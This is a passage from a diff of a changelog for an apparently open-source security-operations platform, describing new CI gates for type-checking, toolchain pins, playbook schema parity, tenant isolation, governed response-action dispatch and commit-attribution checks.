the- checkout).+ Migration `058` adds `organizations`, `organization_members`,+ `organization_tenants` and `organization_member_tenants`, and backfills+ from `tenants.parent_tenant_id`, which keeps working. Three constraints+ hold the boundary in the database rather than in whichever code path+ writes a row: `organization_tenants` is unique on `tenant_id` so two+ providers cannot claim one customer; `organization_member_tenants` has+ composite foreign keys onto both the membership and the portfolio, so a+ grant cannot name an unmanaged tenant and releasing a tenant revokes every+ grant over it; and `organizations.home_tenant_id` cascades, so erasing a+ provider's own tenant removes the organisation while leaving its customers+ standing as unclaimed tenants.-- **Every check resolves its repository root from git, and every check- carries a `--self-test`.** Sixty of the sixty-nine derived a root from- `Path(__file__).resolve().parent.parent` — whatever happens to sit two- levels above the script — which is how a gate prints a confident OK about a- tree it never opened, and only a deliberate run from another directory- catches it. Fifty-four had no self-test at all. Both are now properties the- contract gate enforces, with empty exception lists.+ Roles carry two separate axes. `owner`/`admin` reach the whole portfolio;+ `operator`/`viewer` reach only tenants granted to them, and **nothing**+ when they have no grants — "no scope" degrading into "all scopes" is the+ shape every cross-tenant leak in this codebase has had.- `scripts/gate_toolkit.py` holds the single implementation of both. Five- near-identical copies of the git resolution had already accumulated across- `scripts/`, which is how the sixth gets written subtly differently.+ Every cross-tenant read resolves its tenant list through+ `resolve_portfolio_scope` and nowhere else, then passes it to+ `require_scope`, which raises rather than letting an aggregate run+ unfiltered; the list is bound as a query parameter. A `?tenant_id=` filter+ is intersected with the portfolio, so naming an outside tenant narrows to+ nothing instead of reaching out. An AST gate fails the build if a new+ cross-tenant function is added that never calls `require_scope`, and+ `test_mssp_portfolio_isolation.py` replays two organisations plus an+ unmanaged tenant against live Postgres in `integration.yml`.- Two things this turned up. `check_gate_coverage.py` decided whether a script- inspects the repository partly by looking for `Path(__file__)` — the very- idiom being migrated away from — so moving six gates onto the shared- resolver silently dropped them out of the inventory, and deleting their- workflow steps would then have gone unnoticed. And the first spelling of the- root-resolution property matched `repo_root` anywhere in the file, which- `check_gate_coverage.py` emits as a JSON key: a gate rooted at `__file__`- read as compliant on the strength of a dictionary key in its own output.- Both are read from the syntax tree now.+ The sample rows are deleted rather than gated. `health_score` is gone+ because it was an undefined composite; `mttr_minutes` is measured from+ cases a tenant actually closed and is null when it closed none; seeded+ rows are counted separately as `synthetic_alerts` and excluded from the+ headline figures.-- **The 153 Python files that belong to no manifest tree are type-checked, and- five gates that reported OK over nothing now fail.** Giving all twenty trees- a `[tool.mypy]` table still left `scripts/`, `tests/`, `tools/` and- `plugins/` outside every config — which is to say the CI gates themselves- were the only Python in the repository nothing type-checked, while every- other claim here rests on them.+- **Per-tenant limit headroom, so a cap cannot throttle a customer+ silently.** A tenant that hits a ceiling raises no error anyone sees —+ alerts keep arriving and stop being triaged, which reads to an evaluator+ as "the AI doesn't work". `app/services/entitlements.py` measures+ `connectors`, `seats`, `alerts_per_day` and `triages_per_month` from real+ rows, reports `ok` / `warning` / `exhausted` per tenant across a+ portfolio, and logs exhaustion at `warning`. AiSOC ships uncapped: a key+ with no configured ceiling reports `unlimited` rather than a default+ nobody set. Ceilings come from `tenants.limits` (per tenant, wins in+ either direction) or the new `AISOC_DEFAULT_TENANT_LIMITS` setting —+ declared as a real field, because an undeclared setting is dropped by+ `extra="ignore"` and the operator who exports it gets no explanation.- They are covered by a scoped invocation under a new root- `mypy-unmanaged.toml`, not by a root `pyproject.toml`. Three things were- measured rather than assumed: a root manifest carrying only `[tool.mypy]`- makes `poetry check` answer *"The Poetry configuration is invalid"* from- every directory without a manifest of its own, because poetry searches- upward; pytest gains a `configfile` where it had none; and- `check_dependency_pins.py`, `check_toolchain_pins.py` and- `security_audit.py` all pass with one present only because each is scoped to- `services/*` + `packages/*`, so they would miss it by accident of a glob and- fail closed on it the day any of them is made structural.+- **The Splunk warehouse driver executes.** It previously raised+ `HuntNotConfigured("provider scaffolded but live SPL execution not yet+ shipped")` on every call, so the SPL every hunt was translated into was+ discarded. `app/services/spl_runner.py` carries the same three guards as the+ ES|QL runner — per-tenant SSRF allow-list, air-gap policy, row cap — and+ prefixes the translator's bare `index=…` expression with `search`, without+ which Splunk's REST API answers 400 on every hunt.- The scope is **computed, never listed** — `git ls-files '*.py'` minus every- manifest tree — so a script added anywhere is checked with no edit, and- deleting a tree's manifest moves its files into this scope rather than out- of coverage. Sixteen `plugins/*/plugin.py` files share one module name in- directories whose hyphens keep them from ever being packages, so the run is- split into the minimum number of invocations with no collision, derived- rather than configured. mypy's own `--linecount-report` must account for- every module asked of it before the run may report clean, and a finding- against a file outside the scope fails rather than being recorded.+- **A playbook step that names a response verb now reaches governed+ dispatch, and says honestly what happened to it.** Fifteen of the engine's+ twenty-two step types name an action against somebody's estate. Three of+ them — `block_ip`, `isolate_host`, `create_ticket` — returned+ `{"simulated": true}` from inside the engine, reached no executor, and were+ recorded `SUCCESS`; the other twelve had no handler at all. Meanwhile+ `services/actions` held working executors for fourteen of the fifteen,+ behind a contract declaring each verb's impact, reversibility, approval+ requirement and whether a probe exists to confirm the effect landed. The+ missing piece was never an executor. The comment in `action.py` asserting+ that "playbooks dispatch step by step through this service, so every step+ is graded on the way past" described something that did not happen.- Five gates were found reporting OK over a repository containing nothing, by- copying `scripts/` into an empty git repository and running all forty:- `validate_detections.py` printed a warning and exited 0 over an empty- detections corpus — the validator for the number the front page quotes,- certifying zero rules as valid; `check_grafana_dashboards.py` failed on an- empty dashboards directory and *passed* on a missing one, so the larger loss- was the one it forgave; `check_go_module_paths.py` reported "OK: 0 published- Go module path(s)"; `check_repo_self_links.py` reported every self-link- healthy over zero files, having replaced a lychee run that could not tell a- rate-limited 403 from a live link; and `audit_health_probes.py --check`- printed a table header and exited 0 over zero services. Each now fails and- says what it opened. `check_repo_self_links.py` also reported a file it- could not decode as checked, and now names it.+ The bridge is `services/agents/app/playbook/action_bridge.py` ->+ `POST /api/v1/playbook-steps/dispatch` -> `live_actions.dispatch()`. It+ lands in the API rather than going direct because that service holds the+ credential vault and the tenant session, and `services/actions` is the only+ place that may change a customer's estate — the same shape, and the same+ reasoning, as `siem_writeback`. **One step, one request, one grading**: a+ playbook is not approved as a unit, so authorising it cannot authorise+ whatever its steps happen to contain.- The ratchet in `scripts/check_mypy_baseline.py` gains a `file -> scope`- direction and goes **919 → 994**: +89 newly visible, −14 fixed. Of the 89,- 20 are `import-untyped` against the deliberate no-dependency environment the- baseline is recorded in and the rest are annotation and narrowing findings.- A separate `--warn-unreachable` pass over the same scope reported 8- statements, all one shape: a defensive `isinstance` guard against untrusted- YAML or JSON that the parameter's own annotation declares impossible. None- is dead at runtime, so the annotations are what is wrong and the flag is- deliberately not enabled — recording those 8 would invite someone to delete- the guards to clear them.+ `executed` is the single field that means a vendor was touched. A preview,+ an approval queue, a blocked action, a tenant with no integration, a+ credential-less simulation and a vendor failure are each named and each+ `executed: false`, and a step that did not execute is recorded FAILED so+ the run halts under the default `on_failure: abort`. `AWAITING_COMPLETION`+ counts as executed and `PENDING_APPROVAL` does not: collapsing that pair+ either loses an action in flight or invents one that never ran. Execution+ is off by default (`AISOC_PLAYBOOK_ACTIONS_EXECUTE`), so out of the box a+ response step previews and reports a preview.-- **All twenty Python trees are type-checked, and the coverage is gated in both- directions.** `#818` ran mypy for the first time, over the six trees that- declared a `[tool.mypy]` table. Fourteen declared none, so the job named- "Lint & Type-check" reported green over 787 Python files it never opened — a- tool that appears to cover the repository while covering a third of it is- indistinguishable from no tool at all, only more reassuring.+ **`approval` is the one step type deliberately not bridged.** It is a+ pause, and the engine is a single-threaded index walk with nothing to+ suspend and nothing to wake. It is also no longer the mechanism: every+ response step is now graded individually at dispatch and returns+ `pending_approval` on its own when a human is required, so a gate in front+ of one would gate a decision that is already gated. It fails closed with+ that reason recorded rather than shipping a handler that pretends.- Every tree now declares one, matching the two strictness shapes that already- existed rather than inventing a third: the ten services take- `python_version = "3.11"` / `strict = false` / `ignore_missing_imports = true`- like `services/api` and `services/osquery-tls`; the four packages take- `strict = true` / `python_version = "3.11"` like `packages/sdk-py`,- `plugin-sdk-py` and `aisoc-cli`. No `ignore_errors`, no widened config, no- `# type: ignore` added to reach a number.+ **`run_playbook` as a nested step stays unimplemented, and the calculus was+ re-examined rather than inherited.** Per-step grading was the missing piece+ the previous decision named, and it now exists — but the objection it was+ the answer to does not move: a nested playbook's steps are still not+ visible where the parent declares its policy. What changed is that the+ parent no longer *needs* to bound them, because each step is graded on+ arrival wherever it came from. What has not changed is that the engine+ cannot see a nested playbook's content before running it, so an author+ cannot review what a run will do, and a cycle across two playbooks that+ reference each other is unbounded by the per-step `visited` set. Recursion+ depth and an ancestor set would answer the second; the first is a product+ question about reviewability, not a governance gap, and it is the reason to+ keep waiting.- `scripts/check_mypy_baseline.py` gains the coverage check itself, rather than- a second gate with its own idea of what a tree is. A Python tree on disk that- declares no `[tool.mypy]` fails (`tree -> config`), and a configured or- recorded tree that is no longer on disk fails (`config -> tree`) — the- direction that rots quietly, because nothing ever fails when a stale entry is- simply never consulted. Discovery is now structural, every directory holding a- `pyproject.toml`, instead of `services/*` plus `packages/*`: the glob was a- naming convention, and a Python tree added anywhere else would have satisfied- a coverage gate written against that same glob while being checked by nothing.- The gate resolves its root from `git rev-parse` rather than from its own file- location, prints how many trees and files were in scope, and its `--self-test`- injects coverage drift each way against a throwaway repository.+ The schema's `x-aisoc-execution` map gains a `governed` class rather than+ reusing `executed`, because "a handler ran and made an outbound call" and+ "a vendor was touched" are different claims and the second is answered per+ run. `simulated` stays in the vocabulary: it is the class for a handler+ that answers from inside the engine, which is what these three did, and+ deleting the word would make that state unspellable rather than absent.+ `check_playbook_schema_parity.py` compares `governed` against+ `engine.RESPONSE_STEP_TYPES` in both directions, so a verb wearing the+ label while being answered locally fails the build.-- **`scripts/check_logger_kwargs.py` — no stdlib logger may be called with a- structlog keyword.** `logging.Logger.warning` accepts exactly `exc_info`,- `stack_info`, `stacklevel` and `extra`; structlog's bound logger accepts any- keyword and turns it into the event dict. Both libraries are used in this- tree, so `logger.warning("x", reason=exc.reason)` is correct in one module and- a `TypeError` in the next, and the two call sites are identical to read — only- the binding decides.+- **The published playbook schema now describes the engine that runs+ playbooks, and a gate keeps it that way in both directions.**+ `schemas/playbook.schema.json` is the contract authors are told to trust,+ and it had drifted from `services/agents/app/playbook/` in every available+ direction at once. Two schema files existed with different step+ vocabularies — 15 types at the repo root, 9 under `schemas/` — against a+ `StepType` enum of 22, and the NL drafter silently fell back from one to+ the other if the primary was missing. Eleven step types were declared by a+ schema and implemented nowhere (`trigger`, `action`, `loop`, `parallel`,+ `human_approval`, `wait`, `isolate`, `block`, `create_case`,+ `run_playbook`, `script`); thirteen were accepted by the engine and+ declared by neither schema. Six step fields (`blast_radius`, `depends_on`,+ `output_key`, `retry.max_attempts`, `retry.backoff_seconds`,+ `retry.backoff_multiplier`) were declared and never read — `blast_radius`+ carried the description "engine enforces analyst approval for destructive+ steps", and the engine could not see the field at all.- This needs a checker rather than a grep because of *where* it hides. All five- instances `#818` fixed were inside `except` blocks, where the raised- `TypeError` replaces the exception being handled and no sibling handler can- catch it. A misused keyword on the happy path is found by the first person to- run the code; the same keyword in a fallback runs only when something has- already gone wrong. The report sorts by context and names how many findings- sit on such a path.+ Resolved by making `schemas/playbook.schema.json` the only schema, widened+ to the full `StepType` range with the condition-as-string form the engine+ already accepted, bounds matched to `bounds.py` (3600s / 25 retries, not+ 600s / 5), and the two authored-but-inert playbook keys (`inputs`,+ `dry_run_support`) declared as the documentation they are. The root+ duplicate is deleted. The schema also carries `x-aisoc-execution`, a+ machine-checked map recording whether each step type is `executed`,+ `simulated`, or vocabulary with no handler — so an author can tell what+ will happen before writing the playbook rather than after running it.- The scanner resolves each module's logger flavour rather than assuming one:- every binding, not just `logger`; `self._log` and class-body loggers reached- through the instance; `from app.core.logging import get_logger` followed to- the defining module, because both in-repo `get_logger` helpers return- structlog while their name says nothing; `.bind()` / `.getChild()` chains;- annotations, including parameters, for a logger that is handed in; and- `logging.warning(...)` on the root logger. A `**kwargs` splat onto a stdlib- logger cannot be decided statically and is reported separately rather than- counted as clean, and a receiver it cannot classify is counted as- `unresolved`, never as clean.+ `run_playbook` is deliberately **not** implemented as a step, on its own+ merits rather than by inheriting the argument that removed it as an action.+ A nested playbook's steps are not visible where the parent declares its+ step-level policy, so the parent cannot bound them; the engine reads no+ step-level approval or blast-radius field today, so nesting would let one+ ungated parent pull in an arbitrary tree; and twelve of the engine's own+ step types have no handler, so a verb whose purpose is to execute more+ steps would multiply that. It can return when playbook steps are graded+ individually — recursion depth and an ancestor set are the easy part.- It covers all 1,408 Python files including the ~150 under `scripts/`,- `tests/`, `tools/` and `plugins/` that belong to no tree and so are checked by- no `[tool.mypy]` at all. It classifies 514 stdlib and 970 structlog call sites- with 18 unresolved receivers, and reports zero defects — and fails outright if- it classifies no stdlib logger, because "found nothing" and "resolved nothing"- otherwise print the same word. Pointed at the pre-`#818` files it reports all- five, each labelled `[inside except]`.+ `scripts/check_playbook_schema_parity.py` compares the schema enum, the+ `StepType` enum, the engine's handler table, the execution map, the bounds+ module and the pack validator's trigger list — every pair in both+ directions, because the characteristic failure here is a check that asks+ only whether the schema declares something the engine lacks and never the+ reverse, which is the direction things actually drift. It carries a+ `--self-test` that injects drift each way and fails if any goes undetected,+ refuses to run at all on a tree missing its marker files rather than+ printing OK about files it never opened, and names the root, schema, step+ counts and playbook count it inspected.- Three shapes were added after the first version reported a clean tree and the- shapes were then found *in* that tree: an inline- `logging.getLogger(__name__).warning(...)` with no binding to look up- (`detection_proposals.py`), a class-body logger reached as `self.logger`- (`core/config.py`), and an annotation with no factory call in sight. All three- were invisible to a scanner that only read assignments of a name.+- **Every `ActionType` now resolves a capability contract.** `notify_slack`+ was the last one without, and it was a naming gap rather than a missing+ capability: the verb is `notify`, it has had a contract throughout, and the+ `SlackNotify` adapter already bridged the two names. Nothing connected a+ lookup *by `ActionType` value* to that bridge, so `approval_gate` found no+ contract and skipped the confidence matrix — a 10%-confidence+ `notify_slack` was approved for auto-execution, and the verb most likely to+ auto-execute was the one graded without reference to confidence. It now+ requires an analyst under the default L1 tier.-- **CI now runs the interpreter production runs, and `gofmt`, `services/realtime`- and the published image list are gated.** Three loose ends `#817` named and- did not close.+ Closed with a one-entry alias (`ACTION_TYPE_CAPABILITY_ALIASES`) rather+ than a rename, because `action_type` is persisted operator intent:+ `remediation_whitelist` (migration 015) stores per-tenant pre-approvals+ keyed `UNIQUE (tenant_id, action_type)`, so renaming the member silently+ orphans every row an operator created for `notify_slack`. It is also a+ documented request field and a member of the `ActionType` union in+ `packages/types`. The retirement condition is recorded rather than left+ open-ended: the map goes when `ActionType` does. `check_action_contract.py`+ gains two directions — every `ActionType` must resolve a contract, and+ every alias must name a real `ActionType`, point at a real contract, not+ shadow a capability of the same name, and describe a bridge some adapter+ actually implements.- *Python.* Twenty-four workflows ran 3.12 while all thirteen service images- ship 3.11. Every manifest declares `^3.11`, which permits both, so nothing- written down was violated — which is exactly why it survived. Standardised on- **3.11**, in 41 replacements across those 24 workflows, because 3.11 was- already the answer everywhere except CI: the images ship it, the devcontainer- installs it, `ruff.toml` targets `py311`, five of six `[tool.mypy]` tables set- `python_version = "3.11"`, and all twenty-two manifests floor at 3.11 or- below. Moving the images to 3.12 instead would have meant changing all of- those *and* raising the published floor for seven installable packages — a- breaking change for downstream consumers, to fix a CI hygiene problem. Testing- at the declared floor is also the stronger guarantee. Nothing broke: 2726 API- tests, eleven service suites at their coverage floors and three Python SDKs all- pass on 3.11, and the mypy baseline is byte-identical (because those five- `python_version` pins meant mypy was already checking 3.11 semantics while- running on 3.12). `PYTHON_INTERPRETER_SPLIT` is deleted rather than emptied: a- split that can be recorded is a split that can grow.+- **`scripts/upgrade_playbooks.py`, which `docs/upgrade/MIGRATION.md` has told+ operators to run since v4.** It did not exist, so the one command in the+ upgrade path that touches a customer's own content failed at exactly the+ moment it was needed. The field table beside it was worse: four of the five+ spellings in its "v4" column are rejected by the schema+ (`on_failure: {policy}`, `retry: {max_attempts, backoff}`,+ `condition: {expr, language}`, and `type: "action"`, which is not a step+ type at all), so following the doc by hand produced playbooks that would+ not validate either. Both are corrected.- *gofmt.* CI ran `go vet` and `go build` and never `gofmt`; 28 files across four- modules had drifted. The new job walks every `.go` file rather than iterating a- matrix, because a matrix is a list somebody has to remember to add to — which- is how `packages/sdk-go` came to be compiled by nothing. Formatting landed as- its own commit; nine files also had reStructuredText ``code`` markers in Go doc- comments, which have no inline code span, so gofmt was rewriting them to two- *left* curly quotes. The 58 marker pairs are gone, which leaves gofmt stable.+ The script reports before it writes, validates its own output against the+ real `schemas/playbook.schema.json` before touching anything, and leaves+ alone any file whose upgrade would not validate. `loop`, `parallel`,+ `wait`, `run_playbook`, `action` and `trigger` are reported and refused+ rather than mapped onto a nearest neighbour — that rewrite is precisely the+ defect removed from the NL drafter, where a `disable_user` step shipped as+ `investigate`. An empty scan is a failure, not a clean bill of health.- *`services/realtime`.* Published to GHCR on every release and built by nothing- — no build, test, lint or type-check job anywhere — despite being one of the- two ends of the Kafka spine, carrying the OpenTelemetry instrumentation that- keeps the distributed trace continuous, and holding the TypeScript CORS guard.- It now has all four, installing with `npm ci` from its committed lock.- `@types/node` moves `^20` → `^22` to match the Node 22 runtime, and a- `tsconfig.check.json` type-checks the test file, which `rootDir: src` had left- checked by nothing.+- **Competitor product names removed from the docs portal, the benchmark page+ and the archived plan subtree, and a CI gate added to keep them out.** AiSOC+ names no competitor product, but two published comparison tables and the+ competitive-landscape section of the archived plan named eleven vendors+ outright. The analytical content is preserved everywhere: every matrix cell+ survives unchanged and every gap keeps its capability, direction and+ magnitude — only the vendor's identity is gone. The comparison columns on+ `apps/docs/src/pages/index.tsx` and `apps/docs/docs/benchmark.md` now read+ "Open-source SIEM/HIDS" and "Commercial SIEM platform"; the plan's competitor+ profiles and its five-column capability matrix now carry category labels+ ("Autonomous triage", "Hyperautomation SOAR", "Hyperscaler bundle",+ "Vendor-stack XDR", "First-line responder", "No-code automation").- Three new bidirectional pairs in `check_toolchain_pins.py` — `module -> format`- / `format -> module`, `image -> CI` / `CI -> image`, `target -> ship` /- `ship -> target` — each of which rediscovers its defect when run against the- previous commit. Five parser blind spots were found and fixed in the gate- itself, every one present in this tree: matrix legs read file-wide (so- `ci.yml`'s two `service:` matrices merged), the block-list matrix form- unreadable, `working-directory` truncated at the space inside a matrix- expansion, `working-directory` unreachable when it is a step's first key, and- `gofmt` matched inside step names and quoted `echo` strings — the last of which- also let a quoted path in a `compose-smoke.yml` shell array count as CI- coverage for eleven services, so the check would have reported OK about the- very gap it exists to find. Each published image now prints the step that- exercises it instead of contributing to a tally, and the gate asks- `git rev-parse` for its root instead of inferring it from its own file- location. 35 self-test cases, 49 unit tests.+ - `scripts/check_competitor_names.py` + `scripts/competitor_names.toml` drive+ the gate from an **explicit list of competitor product names**, never a+ heuristic, and allow-list the integration surfaces **by path** — connector+ modules, plugin manifests, connector docs, the connector registry, fixtures+ and tests. This matters because a vendor name is usually correct here:+ `Torq` is simultaneously a first-party SOAR connector and a name that+ appeared in a comparison matrix, so a global replace would have broken+ working connector code. Its connector, manifest, docs page and tests are+ untouched; only the competitive framing changed.+ - Both lists are checked **in both directions**. A pattern that matches+ nothing is dead and fails; an allow entry whose files no longer contain any+ of the names it excuses is stale and fails, so an exemption cannot outlive+ the code it excused; a mistyped name in an allow entry is rejected at load+ rather than silently excusing nothing.+ - A published comparison table is the one place where *any* vendor name is a+ violation, including one AiSOC integrates with, because the table's job is+ to position AiSOC against it. Those two regions are pinned by literal+ start/end markers and checked against a wider vendor list; a marker that+ drifts fails rather than scanning an empty slice and reporting clean.+ - The scan root comes from the working directory or `--root`, never from the+ script's own location, and the run prints the absolute path it walked plus+ the file count — a gate that resolves its own repository can print a+ confident OK about a tree it never inspected.+ - `scripts/check_competitor_names.py --self-test` proves the gate detects a+ known-bad sample and passes a known-good one in both directions, and fails+ if a declared competitor has no fixture. `tests/test_competitor_names_gate.py`+ adds 42 cases covering the stale-allow-list, marker-drift and dual-role-name+ properties. Wired into `.github/workflows/competitor-names.yml`, which runs+ on pull requests *and* pushes to `main` with no paths filter.-- **`scripts/check_toolchain_pins.py` — the Go, Node and toolchain half of- reproducible builds.** `check_dependency_pins.py` made every *package*- install path agree and stopped at the Python services. Go has `go.sum` and- pnpm has a frozen lockfile, so the raw material was already there — but- nothing compared the paths that use it, and nothing audited the *runtime*- those paths run on. Measured across 111 install paths, and every- disagreement found:+- **Tool attribution is now prevented at commit time and blocked in CI.** AiSOC+ does not attribute work to a development tool or AI assistant. An audit found+ the rule was being broken automatically: a `Co-authored-by:` trailer naming an+ editor appeared in 214 commits on `main`, and 280 of 732 pull request bodies+ carried a "Made with" or "Generated with" footer. Nothing in the repository+ caused it — no `commit.template`, no `core.hooksPath`, nothing in+ `.git/hooks/` — the editor appended it at commit time, and it survived+ `git commit --amend`.- | What | Before |- |---|---|- | `apps/web/Dockerfile` | `pnpm install --no-frozen-lockfile` — the production web bundle was the one install path in the repository free to resolve its own dependency set, while all 13 workflows installing the same workspace used `--frozen-lockfile` |- | `services/realtime/Dockerfile` | `npm install` twice, and `package-lock.json` never copied into the build context, so the committed lockfile was inert and every image build re-resolved |- | `install.sh` | `pnpm install --no-frozen-lockfile`, so a self-hoster's install could differ from everything CI tested |- | `.devcontainer/devcontainer.json` | `pnpm install --frozen-lockfile=false` — an opt-out a substring test for the flag reads as *enabling* it |- | `deploy-docs.yml` | `pnpm --filter @aisoc/docs install`, unlocked; the published docs site could build from a tree no other job resolved |- | `apps/web/Dockerfile` | `npm install -g pnpm@8` against `packageManager: [email protected]` — two resolvers, the `poetry 1.7.1 vs 1.8.2` finding again |- | Node | 20 in both images, the devcontainer, `deploy-docs.yml` and both installers; 22 in twelve workflows. Node 20 left security support in April 2026 |- | `services/enrichment/Dockerfile` | `COPY go.mod go.sum*` — the glob makes the checksum file optional, so deleting it downgrades the build to an unverified resolve without failing |- | `ci.yml` | `cache-dependency-path: packages/plugin-sdk-go/go.sum`, a file that does not exist. `setup-go` reports that as a **warning**, so the cache had been silently off while the job stayed green |- | `packages/sdk-go` | compiled by no workflow at all |+ - `.githooks/commit-msg` strips the line before it reaches a commit. It is+ wired through `core.hooksPath`, so it is version-controlled and shared with+ every clone rather than living in an untracked `.git/hooks/`;+ `scripts/setup_hooks.sh` installs it and runs automatically as the `prepare`+ script on `pnpm install`. The hook rewrites and never rejects — a hook that+ can block is a hook that can halt someone's work on a bad pattern, so the+ blocking job belongs in CI where it is visible.+ - This is load-bearing rather than cosmetic because the repository+ squash-merges with `squash_merge_commit_message=COMMIT_MESSAGES`: GitHub+ composes the squash commit body from the branch commits, so a trailer on any+ branch commit is copied onto `main` at merge time.+ - `scripts/check_attribution.py` fails CI when attribution appears in a+ commit message, a changed file or the PR body. A human `Co-authored-by:`+ line is never flagged — a pattern only fires when the trailer names a known+ tool — and `dependabot[bot]` is allowlisted.+ - The gate runs on `push` to `main` as well as on `pull_request`. A PR-only+ check is one-directional: it inspects what contributors propose but never+ what actually lands, so anything introduced by the merge itself would pass+ it while the gate stayed green.+ - `--self-test` runs on every CI invocation and checks four directions against+ a shared fixture corpus: the gate detects every known-bad sample (so it+ cannot pass vacuously), flags no known-good sample (so it cannot pass+ direction one by flagging everything), and the hook strips exactly what the+ gate flags in both directions (so the two implementations cannot drift).+ Both read their patterns from the same `.githooks/attribution-patterns.txt`.+ The self-test earned its place immediately by catching a real hole in the+ patterns — `Built with GitHub Copilot` slipped through, because a vendor+ word sat between the verb and the tool name.- Everything above is now one version and one lockfile discipline, proved- rather than asserted: two `--no-cache` builds of each Node image resolve- byte-identically (web 1,172 packages, realtime 187, matching sha256 both- times).+- **A model name must resolve, and the variable that routes it must be read —+ gated in both directions.** `scripts/check_llm_model_routing.py` reconciles+ `infra/litellm/config.yaml`, the role pins, the API-side mirror,+ `.env.example` and `docker-compose.yml`: every pin's alias must be defined by+ the gateway and every alias claimed by a pin; every model named in an env or+ compose file that wires the bundled gateway must be one the gateway defines;+ every variable compose points at the gateway must be read by *both* resolvers+ and every gateway variable the resolvers read must be set by compose; and a+ service handed the gateway URL must be handed the gateway key. Wired into+ `ci.yml :: python-lint`, with the self-test running first.- Six directions, each with a `--self-test` injection that fails if it goes- undetected — 22 cases. Beyond agreement: *ship → test* (a version an image- ships that no workflow exercises) and *test → ship* (a version CI uses that- no image ships, which is the direction versions actually travel); *module →- sum* and *sum → module*; *module → CI* and *CI → module*; unlocked install- and its reverse, a lockfile nothing can consume; and both coverage- directions — a file declaring a toolchain that the gate never opened, and a- file it *did* open whose declaration the parser could not read.+ Every parser is AST- or comment-aware, and the self-test proves each refusal+ rather than asserting it, because all three corpora contain text shaped+ exactly like what the gate looks for: the gateway config's commented+ Ollama/vLLM examples repeat `model_name: aisoc-triage` verbatim,+ `.env.example` documents the escape hatch as a commented+ `AISOC_MODEL_PIN_TRIAGE=gpt-4o-mini`, and `docker-compose.yml` explains the+ gateway in prose containing `OPENAI_BASE_URL=http://litellm:4000/v1` two lines+ above the key it describes. A line regex credits all three. 13 injected+ defects and 7 parser blind spots, each caught by its own code, plus the shared+ empty-tree refusal.- That last direction earned its place immediately. Hunting for this parser's- equivalent of the blind spot `check_dependency_pins` found in itself, five- turned up: `cd services/${{ matrix.service }}` resolved to nothing, so five- of six Go modules looked ungated; `working-directory:` was not read at all,- so `services/osquery-extensions` looked uncompiled while the workflow that- compiles it sat two directories away; the npm pattern had no left word- boundary and matched inside every `pnpm install`; quoted shell text was read- as commands, so `die "pnpm install failed."` counted as an install path; and- the `node_modules` skip was a prefix rather than a path segment, so on a- checkout with dependencies installed the gate scanned 223 vendored manifests- and reported Node floors of `0.10` from other people's packages — an answer- that depended on whether someone had run `pnpm install`.+- **`scripts/check_orm_migration_parity.py` — a column a model declares and+ no migration creates now fails the build.** Structural on both sides+ (Python `ast` over the models and the alembic revisions, plus the raw SQL+ those revisions and `services/api/migrations/*.sql` execute) and in both+ directions: `missing-in-migration`, `missing-in-model`,+ `type-narrower-in-migration`, `type-family-mismatch`, and+ `no-migration-source` for a mapped table no migration mentions at all —+ which is the finding that exists because pairing nothing produces zero+ findings, and zero findings over zero comparisons prints the same word as+ a clean result. `--credits` enumerates what each verdict was *based on*+ for the same reason.- `EXPECTED_ESBUILD` pins the **resolved** esbuild set (0.25.12 bundled by- Next, 0.28.1 from the scoped overrides). The overrides are deliberately- per-parent because forcing esbuild workspace-wide broke Turbopack's font- import map, and that scoping means a `vite` bump can pull a different- esbuild with no esbuild line in the diff.+ Scoped structurally rather than by a list: a service that calls+ `metadata.create_all` builds its tables from the models, so a column no+ migration creates is created anyway. `services/api` is the one such+ service and is reported as advisory with its count printed, not hidden.+ The four alembic-managed services have no such fallback, which is exactly+ why UEBA's missing column was fatal.-- **`scripts/check_mypy_baseline.py` — the type check the CI job is named- after.** `ci.yml`'s **Python — Lint & Type-check** installed mypy and never- invoked it. Six manifests declare `[tool.mypy]` and three set- `strict = true`, so three authors had asked for a check that had never once- run. It runs now. The 690 findings are recorded in- `scripts/mypy_baseline.json` exactly as mypy reports them, keyed on- `(tree, file, error-code)` so an error cannot be introduced under cover of- fixing an unrelated one — no `ignore_errors`, no widened config, no excluded- tree. Both directions: a finding above baseline fails, and a *fixed* finding- still in the baseline fails too, so freed headroom must be banked rather- than left to absorb the next regression.+ Verified non-vacuous against the tree as it was: it reports all three of+ the real UEBA defects. The `type-family-mismatch` kind exists *because*+ an earlier version reported only two of them — a length comparison could+ not see `UUID` against `String(64)`, since neither side declared a length+ the other contradicted.- Its first run against a rebased tree earned the gate: 22 findings — 14- `union-attr`, 8 `arg-type` — in `services/api/app/services/playbook_step_dispatch.py`,- a file merged hours earlier that nothing had ever type-checked. They are- recorded rather than fixed because that file belongs to concurrent work;- what matters is that they are now visible and cannot grow. Five other- findings were real null-safety bugs in `services/fusion` — an- `IsolationForest` and an `LGBMRanker` used before training, and the Kafka- consumer and producer used before `start()` assigns them — and those are- fixed, taking fusion from 7 to 2.+- **`scripts/check_service_migration_bootstrap.py` — a migration chain+ nothing invokes is not a migration chain.** Asserts every service with an+ `alembic.ini` ships `app/_migrate.py`, keeps it byte-identical to the+ others, runs it from its `CMD`/`ENTRYPOINT` (matched on the command lines,+ so a mention in a comment does not count), and carries both an owner DSN+ and a compose healthcheck. The other direction too: a service shipping+ the module with no chain to apply would exit 1 on every start.-- **`Reproducible builds` now proves the property for all thirteen Python- services, not one.** The `twice` job asserted byte-identical resolution for- `api` alone; the other twelve used the same mechanism and nothing checked- it. A nightly matrix (03:17 UTC) double-builds all twelve services that have- a Dockerfile and double-installs the thirteenth, `teams-bot`, which has a- lock but no image. The matrix is derived from the tree rather than- hand-listed, and a `coverage` job fails when the number of services proved- is not the number that exist — a scheduled run that silently covers less- than it claims is the `wet-eval` failure, eight green weekly runs with every- real step skipped.+- **`scripts/check_connector_profiles.py` — a connector-type drift gate that+ reads in both directions.** Nothing compared the profile keys in+ `services/ingest/internal/normalizer/normalizer.go` against the identifiers+ the connectors service declares, and they had drifted apart in both+ directions at once. The gate enumerates four name spaces — the Go profiles+ and type aliases, the 84 declared `connector_id`s, the `ConnectorType`+ union, and every `connector_type` appearing in a documented example — and+ fails when a name in any of them resolves to nothing.++ It also checks that a documented example reaches a *profile*, not merely a+ declared connector: a reader pastes a flat payload, which never carries the+ canonical envelope, so only a profile or alias can give the event a vendor+ identity. That is the specific check that catches the README defect.++ `--self-test` injects twelve defects, one per direction and per failure+ code, and requires the gate to catch each; it runs in CI on the same tree+ immediately before the gate itself. The resolved repo root, every file read+ and every count are printed before the verdict, and an input that is missing+ or parses empty is a hard error rather than a quiet pass — a gate that+ reports OK about a 